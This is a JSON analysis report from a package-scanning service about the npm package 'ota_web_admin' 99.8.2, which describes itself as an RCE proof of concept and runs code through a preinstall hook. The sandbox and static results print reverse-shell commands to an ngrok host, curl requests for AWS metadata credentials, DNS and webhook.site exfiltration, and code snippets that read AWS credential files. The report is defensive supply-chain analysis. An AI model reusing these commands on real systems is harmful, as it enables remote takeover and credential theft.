{"package":"ota_web_admin","version":"99.8.2","known":true,"status":"error","discovered_at":1790301201332,"has_install_script":true,"report_url":"https://andymal.com/packages/ota_web_admin/99.8.2","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790378036955,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":6611,"lab_ip":"10.77.0.156","hooks":[{"name":"preinstall","command":"node index.js","exit":0,"timed_out":false,"seconds":2,"stdout_tail":"\n> ota_web_admin@99.8.2 preinstall\n> node index.js\n\nXYZ package...\n","stderr_tail":"/bin/sh: 1: curl: not found\n/bin/sh: 1: nslookup: not found\n/bin/sh: 1: curl: not found\n/bin/sh: 1: Syntax error: Bad fd number\nTraceback (most recent call last):\n  File \"<string>\", line 1, in <module>\nConnectionRefusedError: [Errno 111] Connection refused\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":2,"stdout_tail":"XYZ package...\n","stderr_tail":"/bin/sh: 1: curl: not found\n/bin/sh: 1: nslookup: not found\n/bin/sh: 1: curl: not found\n/bin/sh: 1: Syntax error: Bad fd number\nTraceback (most recent call last):\n  File \"<string>\", line 1, in <module>\nConnectionRefusedError: [Errno 111] Connection refused\n"}],"process_count":36,"processes":["/bin/sh -c whoami ×4","whoami ×4","/bin/sh -c curl -s --connect-timeout 3 \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" ×2","/bin/sh -c id ×2","id ×2","/bin/sh -c pwd ×2","/bin/sh -c uname -a ×2","uname -a ×2","/bin/sh -c bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/16830 0>&1 ×2","/bin/sh -c python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('0.tcp.eu.ngrok.io',16830));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])\" ×2","python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('0.tcp.eu.ngrok.io',16830));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i']) ×2","npm run-script preinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script preinstall --if-present --ignore-scripts=false","sh -c node index.js","node index.js","/bin/sh -c nslookup eyJ0aW1lc3RhbXAiOiIyMDI2LTA5LTI1VDAxOjUzOjI1Ljc4OV.if1yfrk5s8l5dcl5bphhkx4x5obfz6nv.oastify.com","/bin/sh -c curl -X POST https://webhook.site/1fa2ba5b-e98c-4c76-ab52-482c6690c983 -H \"Content-Type: application/json\" -d '{\"timestamp\":\"2026-09-25T01:53:25.789Z\",\"hostname\":\"f95444123b23\",\"platform\":\"linux\",\"user\":\"node\",\"awsData\":{\"metadata\":null,\"environment\":{\"GIT","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","/bin/sh -c nslookup eyJ0aW1lc3RhbXAiOiIyMDI2LTA5LTI1VDAxOjUzOjI4LjE5N1.if1yfrk5s8l5dcl5bphhkx4x5obfz6nv.oastify.com","/bin/sh -c curl -X POST https://webhook.site/1fa2ba5b-e98c-4c76-ab52-482c6690c983 -H \"Content-Type: application/json\" -d '{\"timestamp\":\"2026-09-25T01:53:28.197Z\",\"hostname\":\"f95444123b23\",\"platform\":\"linux\",\"user\":\"node\",\"awsData\":{\"metadata\":null,\"environment\":{\"SLA"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":2},{"proto":"socket","ip":"10.77.0.2","port":16830,"n":2,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"0.tcp.eu.ngrok.io","n":2}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"ota_web_admin","version":"99.8.2","description":"This is RCE PoC","scripts":{"test":"echo \"Error: no test specified\" && exit 1","preinstall":"node index.js"},"install_hooks":{"preinstall":"node index.js"},"bin":{},"main":"index.js","dependencies":["ota_web_admin"],"author":"mohammednuredinh1","license":"ISC","hasInstallScript":true},"files":[{"path":"index.js","size":5576,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","code_execution","reverse_shell","reconnaissance"],"role":"entry"},{"path":"package.json","size":333,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":2,"unpacked_size":5909,"findings":[{"title":"Install hook","detail":"preinstall: node index.js","severity":"low","location":"package.json"},{"title":"Touches credential stores or secrets","detail":"AWSCredentials() { const credentialPaths = [ '~/.aws/credentials', '~/.aws/config', '/root/.aws/credentials'","severity":"high","location":"index.js:58"},{"title":"Touches credential stores or secrets","detail":"redentialPaths = [ '~/.aws/credentials', '~/.aws/config', '/root/.aws/credentials', '/root/.aws/con","severity":"high","location":"index.js:59"},{"title":"Touches credential stores or secrets","detail":"/.aws/credentials', '~/.aws/config', '/root/.aws/credentials', '/root/.aws/config', '/home/*/.aws/creden","severity":"high","location":"index.js:60"},{"title":"Touches credential stores or secrets","detail":"s/config', '/root/.aws/credentials', '/root/.aws/config', '/home/*/.aws/credentials', '/var/lib/jen","severity":"high","location":"index.js:61"},{"title":"Dumps the whole environment (API keys live there)","detail":"dentials() { const awsEnvVars = {}; const envVars = process.env; Object.keys(envVars).forEach(key => { if (","severity":"high","location":"index.js:45"},{"title":"Network activity","detail":"rity-credentials/'; try { const roleCmd = `curl -s --connect-timeout 3 \"${credentialsBase}\"`; const","severity":"medium","location":"index.js:19"},{"title":"Network activity","detail":"roleName.includes('Error')) { const credsCmd = `curl -s --connect-timeout 3 \"${credentialsBase}${roleName}\"`;","severity":"medium","location":"index.js:23"},{"title":"Network activity","detail":"const instanceId = executeCommand(`curl -s --connect-timeout 3 \"${metadataBase}instance-id\"`);","severity":"medium","location":"index.js:26"},{"title":"Network activity","detail":"}instance-id\"`); const region = executeCommand(`curl -s --connect-timeout 3 \"${metadataBase}placement/region\"`);","severity":"medium","location":"index.js:27"},{"title":"Executes commands or dynamic code","detail":"const { execSync, spawn } = require('child_process'); const fs = require('fs","severity":"medium","location":"index.js:1"},{"title":"Executes commands or dynamic code","detail":"const { execSync, spawn } = require('child_process'); const fs = require('fs'); const","severity":"medium","location":"index.js:1"},{"title":"Executes commands or dynamic code","detail":"); function executeCommand(cmd) { try { return execSync(cmd, { encoding: 'utf8', timeout: 10000 }); } catch (er","severity":"medium","location":"index.js:8"},{"title":"Executes commands or dynamic code","detail":"2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])\"` ]; shells.forEach(sh","severity":"medium","location":"index.js:122"},{"title":"Reverse shell","detail":"onst attackerPort = '16830'; const shells = [ `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`, `pyth","severity":"critical","location":"index.js:121"},{"title":"Reverse shell","detail":"erPort = '16830'; const shells = [ `bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`, `python3 -c \"im","severity":"critical","location":"index.js:121"},{"title":"System reconnaissance","detail":"timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), user: executeComm","severity":"low","location":"index.js:105"},{"title":"System reconnaissance","detail":"tring(), hostname: os.hostname(), platform: os.platform(), user: executeCommand('whoami').trim(), aws","severity":"low","location":"index.js:106"},{"title":"System reconnaissance","detail":"platform: os.platform(), user: executeCommand('whoami').trim(), awsData: data }; const payload =","severity":"low","location":"index.js:107"},{"title":"System reconnaissance","detail":"container: extractContainerCredentials(), systemInfo: { hostname: os.hostname(),","severity":"low","location":"index.js:143"},{"title":"Install hook runs a script","detail":"\"test\": \"echo \\\"Error: no test specified\\\" && exit 1\", \"preinstall\": \"node index.js\" }, \"author\": \"mohammednuredinh1\", \"license\": \"ISC\",","severity":"medium","location":"package.json:8"}],"injection_findings":[],"hits":{"credential_access":5,"credential_harvest":1,"network_egress":5,"code_execution":4,"reverse_shell":2,"reconnaissance":5,"install_hook_shell":1},"iocs":{"urls":["http://169.254.169.254/latest/meta-data/","http://169.254.169.254/latest/meta-data/iam/security-credentials/","http://169.254.170.2${process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI","https://webhook.site/1fa2ba5b-e98c-4c76-ab52-482c6690c983"],"domains":["169.254.170.2${process.env.aws_container_credentials_relative_uri","webhook.site","if1yfrk5s8l5dcl5bphhkx4x5obfz6nv.oastify.com","0.tcp.eu.ngrok.io"],"ips":["169.254.169.254"]},"score":1,"priority":155,"hints":["install hook preinstall: node index.js","untrusted hosts referenced: 169.254.170.2${process.env.aws_container_credentials_relative_uri, webhook.site, if1yfrk5s8l5dcl5bphhkx4x5obfz6nv.oastify.com, 0.tcp.eu.ngrok.io","raw IPs referenced: 169.254.169.254","capability hits: credential_access×5, network_egress×5, reconnaissance×5, code_execution×4, reverse_shell×2, credential_harvest×1, install_hook_shell×1"],"entry_files":["index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}